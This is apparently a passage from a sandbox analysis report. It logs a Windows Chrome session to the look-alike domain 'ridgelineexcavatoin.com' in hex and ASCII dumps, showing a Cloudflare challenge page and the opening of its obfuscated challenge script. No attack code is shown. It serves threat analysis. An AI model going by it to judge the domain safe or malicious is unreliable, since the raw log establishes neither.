2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yUaZxFC%2FU%2Ba21wbjWgrwo5tOBK361OaAd880pnzXmXt0G9ghuuQb9Q8jeL2Wx%2BFXDG3fhajcERpbMX4hEmrDYQ7ssICuasWwmyPLeN6HVpK4MnuRFHw%2BgzyVixQ2T8DD6Fu1UzlDUsesiw%3D%3D"}],"group":"cf-nel",
2024-04-18 21:05:30 UTC	1025	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
2024-04-18 21:05:30 UTC	1369	IN	Data Raw: 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a 6d 6c 73 62 44 30 69 62 6d 39 75 5a 53 49 67 64 6d 6c 6c 64 30 4a 76 65 44 30 69 4d 43 41 77 49 44 49 32 49 44 49 32 49 6a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b 50 53 4a 4e 4d 54 4d 67 4d 47 45 78 4d 79 41 78 4d 79 41 77 49 44 45 67 4d 43 41 77 49 44 49 32 49 44 45 7a 49 44 45 7a 49 44 41 67 4d 43 41 77 49 44 41 74 4d 6a 5a 74 4d 43 41 79 4e 47 45 78 4d 53 41 78 4d 53 41 77 49 44 45 67 4d 53 41 77 4c 54 49 79 49 44 45 78 49 44 45 78 49 44 41 67 4d 43 41 78 49 44 41 67 4d 6a 49 69 4c 7a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 Data Ascii: 3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSIgdmlld0JveD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPS
2024-04-18 21:05:30 UTC	1369	IN	Data Raw: 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 62 32 30 66 30 33 7d 62 6f 64 79 2e 64 61 72 6b 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 64 61 72 6b 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 36 39 33 66 66 3b 63 6f 6c 6f 72 3a 23 31 64 31 64 31 64 7d 62 6f 64 79 2e 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 48 4e 32 5a 79 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 Data Ascii: t-red{color:#b20f03}body.dark .big-button,body.dark .pow-button{background-color:#4693ff;color:#1d1d1d}body.dark #challenge-success-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGV
2024-04-18 21:05:30 UTC	1369	IN	Data Raw: 65 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 6c 64 73 2d 72 69 6e 67 20 64 69 76 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 35 39 35 39 35 39 20 74 72 61 6e 73 70 61 72 65 6e 74 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 66 6f 6e 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 66 63 35 37 34 61 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 6c 69 67 68 74 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 62 6f 64 79 2e 6c 69 67 68 74 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: e}body.light .lds-ring div{border-color:#595959 transparent transparent}body.light .font-red{color:#fc574a}body.light .big-button,body.light .pow-button{background-color:#003681;border-color:#003681;color:#fff}body.light #challenge-success-text{background
2024-04-18 21:05:30 UTC	1369	IN	Data Raw: 74 3b 63 6f 6c 6f 72 3a 23 30 30 35 31 63 33 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 31 35 73 20 65 61 73 65 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 68 65 69 67 68 74 3a 32 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 72 65 6d 3b 77 69 64 74 68 3a 32 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 6d Data Ascii: t;color:#0051c3;text-decoration:none;transition:color .15s ease}a:hover{color:#ee730a;text-decoration:underline}.main-content{margin:8rem auto;max-width:60rem;width:100%}.heading-favicon{height:2rem;margin-right:.5rem;width:2rem}@media (width <= 720px){.m
2024-04-18 21:05:30 UTC	1369	IN	Data Raw: 35 4e 79 34 7a 4f 53 30 78 4c 6a 41 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 7d 23 63 68 61 6c 6c 65 6e Data Ascii: 5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);padding-left:34px}#challenge-error-text,#challenge-success-text{background-repeat:no-repeat;background-size:contain}#challen
2024-04-18 21:05:30 UTC	1369	IN	Data Raw: 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 66 6f 6f 74 65 72 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 39 64 39 64 39 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 72 65 6d 7d 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 63 6c 65 61 72 66 69 78 20 2e 63 6f 6c 75 6d 6e 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d 3b 77 69 64 74 68 3a 35 30 25 7d 2e 64 69 61 67 6e 6f 73 74 69 63 2d 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d Data Ascii: to;max-width:60rem;width:100%}.footer-inner{border-top:1px solid #d9d9d9;padding-bottom:1rem;padding-top:1rem}.clearfix:after{clear:both;content:"";display:table}.clearfix .column{float:left;padding-right:1.5rem;width:50%}.diagnostic-wrapper{margin-bottom
2024-04-18 21:05:30 UTC	1369	IN	Data Raw: 3a 62 6c 6f 63 6b 7d 7d 2e 72 74 6c 20 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 32 70 78 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 34 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 Data Ascii: :block}}.rtl .heading-favicon{margin-left:.5rem;margin-right:0}.rtl #challenge-success-text{background-position:100%;padding-left:0;padding-right:42px}.rtl #challenge-error-text{background-position:100%;padding-left:0;padding-right:34px}</style><meta http
2024-04-18 21:05:30 UTC	1369	IN	Data Raw: 50 70 66 47 4b 5a 64 57 73 4c 38 66 36 4f 6c 6a 53 74 61 74 38 37 51 7a 2e 71 55 43 52 51 56 66 76 69 5f 61 59 49 30 51 67 39 59 69 57 77 47 51 31 6a 47 30 76 78 62 77 42 51 65 53 75 4f 6c 31 47 49 48 48 71 76 53 4f 4c 2e 68 41 67 2e 49 6e 71 6c 45 69 7a 6a 46 79 64 55 4d 64 32 50 70 72 47 32 42 69 6f 54 58 36 42 37 31 68 6a 38 51 34 41 77 6c 37 39 53 66 6a 4f 31 45 4b 4d 43 63 58 38 5a 50 38 58 70 69 34 45 79 62 4d 48 62 63 6a 42 48 30 39 77 4b 73 7a 4d 46 49 6d 32 4a 51 45 75 34 6e 43 51 6f 5a 67 59 77 51 4a 30 57 42 50 4c 51 44 7a 55 74 76 44 47 59 76 30 49 4d 47 4a 33 63 4d 73 76 42 78 6d 43 64 31 76 43 50 36 64 31 75 35 6b 45 42 6d 54 71 76 7a 47 6b 78 52 57 56 68 2e 41 44 30 45 55 76 6c 32 43 7a 6f 5a 46 31 64 4c 53 43 39 58 44 69 54 31 4a 53 44 35 Data Ascii: PpfGKZdWsL8f6OljStat87Qz.qUCRQVfvi_aYI0Qg9YiWwGQ1jG0vxbwBQeSuOl1GIHHqvSOL.hAg.InqlEizjFydUMd2PprG2BioTX6B71hj8Q4Awl79SfjO1EKMCcX8ZP8Xpi4EybMHbcjBH09wKszMFIm2JQEu4nCQoZgYwQJ0WBPLQDzUtvDGYv0IMGJ3cMsvBxmCd1vCP6d1u5kEBmTqvzGkxRWVh.AD0EUvl2CzoZF1dLSC9XDiT1JSD5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49748	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:31 UTC	961	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=87679d084da044dd HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ridgelineexcavatoin.com/?__cf_chl_rt_tk=BP5RxwfzMYJtunnS_MKgj1VoZVmxymZ5g5w27TbnMio-1713474330-0.0.1.1-1578 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:31 UTC	699	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:31 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xnd4wPxrzsrFjCUUd5hsr%2FVIYKh4MTr6GaFTIwf0g5aEgbSvr5K6fx%2BSseIRIrxDUA3wkcdMqkS47y7zoNxBmE0zmEXJs9k%2BYe9AIwsOQrMO9lkBYpnvjdtKrtapPyR%2FuRD6JIclo1IyoQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d094e321377-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:31 UTC	670	IN	Data Raw: 37 39 34 35 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 53 52 3d 74 72 75 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 35 2c 66 75 2c 66 76 2c 66 79 2c 66 7a 2c 67 32 2c 67 38 2c 67 61 2c 67 65 2c 67 66 2c 67 67 2c 67 6b 2c 67 6c 2c 67 73 2c 67 75 2c 67 76 2c 67 77 2c 67 78 2c 67 79 2c 67 7a 2c 67 41 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 47 2c 67 48 2c 67 49 2c 67 4a 2c 67 4b 2c 67 4c 2c 67 4d 2c 67 4e 2c 67 4f 2c 67 50 2c 67 51 2c 67 52 2c 67 53 2c 67 54 2c 67 55 2c 67 56 2c 67 57 2c 67 58 2c 67 59 2c 67 5a 2c 68 30 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 2c 68 39 2c 68 61 2c 68 62 2c 68 63 2c 68 64 2c 68 Data Ascii: 7945window._cf_chl_opt.uaO=false;window._cf_chl_opt.uaSR=true;~function(i5,fu,fv,fy,fz,g2,g8,ga,ge,gf,gg,gk,gl,gs,gu,gv,gw,gx,gy,gz,gA,gB,gC,gD,gE,gF,gG,gH,gI,gJ,gK,gL,gM,gN,gO,gP,gQ,gR,gS,gT,gU,gV,gW,gX,gY,gZ,h0,h1,h2,h3,h4,h5,h6,h7,h8,h9,ha,hb,hc,hd,h
2024-04-18 21:05:31 UTC	1369	IN	Data Raw: 74 28 29 29 7d 7d 28 61 2c 37 36 39 33 30 32 29 2c 66 75 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 66 76 3d 66 75 5b 69 35 28 31 31 35 32 29 5d 2c 66 77 3d 5b 5d 2c 66 78 3d 30 3b 32 35 36 3e 66 78 3b 66 77 5b 66 78 5d 3d 53 74 72 69 6e 67 5b 69 35 28 31 36 38 38 29 5d 28 66 78 29 2c 66 78 2b 2b 29 3b 66 79 3d 28 30 2c 65 76 61 6c 29 28 69 35 28 36 32 33 29 29 2c 66 7a 3d 61 74 6f 62 28 69 35 28 32 35 38 36 29 29 2c 66 75 5b 69 35 28 38 32 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 69 52 2c 65 29 7b 65 3d 28 69 52 3d 69 35 2c 7b 27 59 79 70 75 61 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 28 68 29 7d 7d 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 65 5b 69 52 28 32 30 37 34 29 5d 28 67 31 2c 63 29 7d 63 61 74 63 68 28 67 29 7b 72 65 74 Data Ascii: t())}}(a,769302),fu=this\|\|self,fv=fu[i5(1152)],fw=[],fx=0;256>fx;fw[fx]=String[i5(1688)](fx),fx++);fy=(0,eval)(i5(623)),fz=atob(i5(2586)),fu[i5(828)]=function(c,iR,e){e=(iR=i5,{'Yypua':function(g,h){return g(h)}});try{return e[iR(2074)](g1,c)}catch(g){ret
2024-04-18 21:05:31 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 64 79 6b 7a 64 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 6b 50 4e 4a 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 59 64 78 41 72 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 56 54 66 59 50 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 51 47 50 54 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 74 57 58 6e 64 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 2c 27 58 75 48 43 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 62 Data Ascii: eturn h<<i},'dykzd':function(h,i){return i==h},'kPNJQ':function(h,i){return h(i)},'YdxAr':function(h,i){return h>i},'VTfYP':function(h,i){return h-i},'QGPTq':function(h,i){return h(i)},'tWXnd':function(h,i){return h+i},'XuHCE':function(h,i){return h>i},'b
2024-04-18 21:05:31 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 45 70 76 69 57 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 54 4c 7a 6f 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 69 73 52 48 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 4e 49 48 4f 75 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6a 42 74 62 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 6a 6d 28 31 36 38 38 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 6a 6e 29 7b 69 66 28 6a 6e 3d 6a 6d 2c 64 5b 6a 6e 28 34 39 38 Data Ascii: ction(h,i){return h*i},'EpviW':function(h,i){return h<i},'TLzok':function(h,i){return h==i},'isRHN':function(h,i){return h-i},'NIHOu':function(h,i){return h(i)},'jBtbt':function(h,i){return h(i)}},e=String[jm(1688)],f={'h':function(h,jn){if(jn=jm,d[jn(498
2024-04-18 21:05:31 UTC	1369	IN	Data Raw: 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4f 3d 43 5b 6a 70 28 39 34 32 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 48 3c 3c 31 7c 64 5b 6a 70 28 35 30 36 29 5d 28 4f 2c 31 29 2c 49 3d 3d 64 5b 6a 70 28 31 37 37 32 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 6a 70 28 31 30 37 34 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4f 3d 31 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 6a 70 28 31 39 37 30 29 5d 28 48 2c 31 29 7c 4f 2c 64 5b 6a 70 28 38 31 30 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 6a 70 28 31 30 37 34 29 5d 28 64 5b 6a 70 28 31 32 38 38 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4f Data Ascii: ](o,H)),H=0):I++,s++);for(O=C[jp(942)](0),s=0;8>s;H=H<<1\|d[jp(506)](O,1),I==d[jp(1772)](j,1)?(I=0,G[jp(1074)](o(H)),H=0):I++,O>>=1,s++);}else{for(O=1,s=0;s<F;H=d[jp(1970)](H,1)\|O,d[jp(810)](I,j-1)?(I=0,G[jp(1074)](d[jp(1288)](o,H)),H=0):I++,O=0,s++);for(O
2024-04-18 21:05:31 UTC	1369	IN	Data Raw: 31 39 37 30 29 5d 28 5a 2c 31 29 7c 61 30 2c 64 5b 6a 70 28 32 31 34 37 29 5d 28 61 31 2c 61 32 2d 31 29 3f 28 61 33 3d 30 2c 61 34 5b 6a 70 28 31 30 37 34 29 5d 28 64 5b 6a 70 28 31 32 38 38 29 5d 28 61 35 2c 61 36 29 29 2c 61 37 3d 30 29 3a 61 38 2b 2b 2c 61 39 3d 30 2c 58 2b 2b 29 3b 66 6f 72 28 61 61 3d 61 62 5b 6a 70 28 39 34 32 29 5d 28 30 29 2c 61 63 3d 30 3b 64 5b 6a 70 28 31 38 31 37 29 5d 28 31 36 2c 61 64 29 3b 61 66 3d 61 67 3c 3c 31 7c 31 2e 39 31 26 61 68 2c 64 5b 6a 70 28 32 31 34 37 29 5d 28 61 69 2c 64 5b 6a 70 28 32 36 30 35 29 5d 28 61 6a 2c 31 29 29 3f 28 61 6b 3d 30 2c 61 6c 5b 6a 70 28 31 30 37 34 29 5d 28 64 5b 6a 70 28 31 38 36 37 29 5d 28 61 6d 2c 61 6e 29 29 2c 61 6f 3d 30 29 3a 61 70 2b 2b 2c 61 71 3e 3e 3d 31 2c 61 65 2b 2b 29 Data Ascii: 1970)](Z,1)\|a0,d[jp(2147)](a1,a2-1)?(a3=0,a4[jp(1074)](d[jp(1288)](a5,a6)),a7=0):a8++,a9=0,X++);for(aa=ab[jp(942)](0),ac=0;d[jp(1817)](16,ad);af=ag<<1\|1.91&ah,d[jp(2147)](ai,d[jp(2605)](aj,1))?(ak=0,al[jp(1074)](d[jp(1867)](am,an)),ao=0):ap++,aq>>=1,ae++)
2024-04-18 21:05:31 UTC	1369	IN	Data Raw: 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 4d 3d 65 28 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4d 2c 44 5b 6a 73 28 31 30 37 34 29 5d 28 4d 29 3b 3b 29 7b 69 66 28 64 5b 6a 73 28 38 35 37 29 5d 28 49 2c 69 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 6a 73 28 33 34 34 29 5d 28 32 2c 43 29 2c 46 3d 31 3b 64 5b 6a 73 28 31 32 38 30 29 5d 28 46 2c 4b 29 3b 4c 3d 47 26 48 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 64 5b 6a 73 28 31 34 37 39 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 6a 73 28 31 30 39 30 29 5d 28 64 5b 6a 73 28 32 31 30 38 29 5d 28 30 2c 4c 29 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4d 3d 4a 29 7b 63 61 Data Ascii: 0,F),F<<=1);M=e(J);break;case 2:return''}for(E=s[3]=M,D[js(1074)](M);;){if(d[js(857)](I,i))return'';for(J=0,K=Math[js(344)](2,C),F=1;d[js(1280)](F,K);L=G&H,H>>=1,0==H&&(H=j,G=d[js(1479)](o,I++)),J\|=d[js(1090)](d[js(2108)](0,L)?1:0,F),F<<=1);switch(M=J){ca
2024-04-18 21:05:31 UTC	1369	IN	Data Raw: 29 5d 5b 6a 77 28 31 30 30 34 29 5d 26 26 67 5b 6a 77 28 31 38 34 39 29 5d 3f 67 5b 6a 77 28 31 32 32 36 29 5d 5b 6a 77 28 31 30 30 34 29 5d 28 6e 65 77 20 67 5b 28 6a 77 28 31 38 34 39 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 6a 79 2c 48 29 7b 66 6f 72 28 6a 79 3d 6a 77 2c 47 5b 6a 79 28 36 37 32 29 5d 28 29 2c 48 3d 30 3b 48 3c 47 5b 6a 79 28 31 39 37 34 29 5d 3b 47 5b 48 5d 3d 3d 3d 47 5b 6f 5b 6a 79 28 39 30 34 29 5d 28 48 2c 31 29 5d 3f 47 5b 6a 79 28 31 36 36 38 29 5d 28 6f 5b 6a 79 28 39 30 34 29 5d 28 48 2c 31 29 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 6a 77 28 31 37 31 35 29 5d 5b 6a 77 28 34 38 39 29 5d 28 42 29 2c 43 3d Data Ascii: )][jw(1004)]&&g[jw(1849)]?g[jw(1226)][jw(1004)](new g[(jw(1849))](x)):function(G,jy,H){for(jy=jw,G[jy(672)](),H=0;H<G[jy(1974)];G[H]===G[o[jy(904)](H,1)]?G[jy(1668)](o[jy(904)](H,1),1):H+=1);return 